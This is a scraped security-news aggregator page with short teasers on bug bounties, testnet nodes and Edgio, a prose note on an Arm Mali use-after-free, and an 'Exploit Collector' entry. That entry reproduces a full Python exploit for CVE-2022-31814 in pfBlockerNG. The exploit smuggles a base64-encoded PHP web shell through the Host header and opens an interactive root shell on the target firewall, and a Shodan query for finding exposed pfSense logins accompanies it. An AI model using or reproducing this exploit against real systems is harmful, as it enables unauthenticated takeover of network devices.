Google Rewards Ethical Hackers with Over $12 Million in Bug Bounties
https://medium.com/@raphaelcarlosr/google-rewards-ethical-hackers-with-over-12-million-in-bug-bounties-7d7a0e16042f?source=rss------bug_bounty-5
https://medium.com/@raphaelcarlosr/google-rewards-ethical-hackers-with-over-12-million-in-bug-bounties-7d7a0e16042f?source=rss------bug_bounty-5
Google, one of the world’s leading tech giants, has recently disclosed the results of its bug bounty campaign, which rewards ethical…Continue reading on Medium » (https://medium.com/@raphaelcarlosr/google-rewards-ethical-hackers-with-over-12-million-in-bug-bounties-7d7a0e16042f?source=rss------bug_bounty-5)
Testnet Nodes in Cryptocurrency: Opportunities for Earning Money
https://medium.com/@kibagusranggajati/testnet-nodes-in-cryptocurrency-opportunities-for-earning-money-51ddfe99f2c3?source=rss------bug_bounty-5
https://medium.com/@kibagusranggajati/testnet-nodes-in-cryptocurrency-opportunities-for-earning-money-51ddfe99f2c3?source=rss------bug_bounty-5
Cryptocurrency testnet nodes are essentially replicas of the main blockchain network that developers use to test and experiment with new…Continue reading on Medium » (https://medium.com/@kibagusranggajati/testnet-nodes-in-cryptocurrency-opportunities-for-earning-money-51ddfe99f2c3?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
Edgio Strengthens Security Offering With WAAP Enhancements and DDoS Scrubbing Solution
Upgrades boost Edgio's ability to mitigate sophisticated threats and safeguard applications and data.
Edgio Strengthens Security Offering With WAAP Enhancements and DDoS Scrubbing Solution
Upgrades boost Edgio's ability to mitigate sophisticated threats and safeguard applications and data.
Dark Reading: Attacks/Breaches
As Social Engineering Attacks Skyrocket, Evaluate Your Security Education Plan
Build a playbook for employees on how to handle suspicious communications, use mail filters, and screen and verify unfamiliar calls to bolster a defensive social engineering security strategy.
As Social Engineering Attacks Skyrocket, Evaluate Your Security Education Plan
Build a playbook for employees on how to handle suspicious communications, use mail filters, and screen and verify unfamiliar calls to bolster a defensive social engineering security strategy.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Arm Mali CSF kbase_kcpu_command_queue Use-After-Free
https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
kbase_csf_kcpu_queue_enqueue() locks the kctx->csf.kcpu_queues, looks up a pointer from inside that structure, then drops the lock before continuing to use the kbase_kcpu_command_queue that was looked up. This is a classic use-after-free pattern, where the lookup of a pointer is protected but the protective lock is then released without first acquiring any other lock or reference to keep the referenced object alive.
SHA-256 |
Download
Source:packetstormsecurity.com
Arm Mali CSF kbase_kcpu_command_queue Use-After-Free
https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
kbase_csf_kcpu_queue_enqueue() locks the kctx->csf.kcpu_queues, looks up a pointer from inside that structure, then drops the lock before continuing to use the kbase_kcpu_command_queue that was looked up. This is a classic use-after-free pattern, where the lookup of a pointer is protected but the protective lock is then released without first acquiring any other lock or reference to keep the referenced object alive.
SHA-256 |
4fd61c0109d183f3b2a909d608ec4f7ebeb118f98b4d057a01a280c10f5a5339Download
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
pfBlockerNG 2.1.4_26 Remote Code Execution
https://4.bp.blogspot.com/-sHG2jViTb-c/WWlvSCf2XfI/AAAAAAAAINY/YxfxwjOK_o05QB9TpuqqysTdHaIb3yf8wCLcBGAs/s1600/h36.png
pfBlockerNG version 2.1.4_26 remote code execution exploit.
SHA-256 |
Download
Source:packetstormsecurity.com
pfBlockerNG 2.1.4_26 Remote Code Execution
https://4.bp.blogspot.com/-sHG2jViTb-c/WWlvSCf2XfI/AAAAAAAAINY/YxfxwjOK_o05QB9TpuqqysTdHaIb3yf8wCLcBGAs/s1600/h36.png
pfBlockerNG version 2.1.4_26 remote code execution exploit.
SHA-256 |
4ac7bffe74c29e0dabbff18d552da8d3e73678fb8ed2b4a6a73be8d67499aebcDownload
# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
parser = argparse.ArgumentParser(description="pfBlockerNG <=
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()
url = args.url
shell_filename = "system_advanced_control.php"
def check_endpoint(url):
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
if response.status_code == 200:
print("[+] pfBlockerNG is installed")
else:
print("\n[-] pfBlockerNG not installed")
sys.exit()
def upload_shell(url, shell_filename):
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
print("[/] Uploading shell...")
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
time.sleep(2)
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
print("[+] Upload succeeded")
else:
print("\n[-] Error uploading shell. Probably patched ", response.content)
sys.exit()
def interactive_shell(url, shell_filename, cmd):
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
print(str(response.text)+"\n")
def delete_shell(url, shell_filename):
delcmd = "rm /usr/local/www/system_advanced_control.php"
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
print("\n[+] Shell deleted")
check_endpoint(url)
upload_shell(url, shell_filename)
try:
while True:
cmd = input("# ")
interactive_shell(url, shell_filename, cmd)
except:
delete_shell(url, shell_filename)
Source:packetstormsecurity.com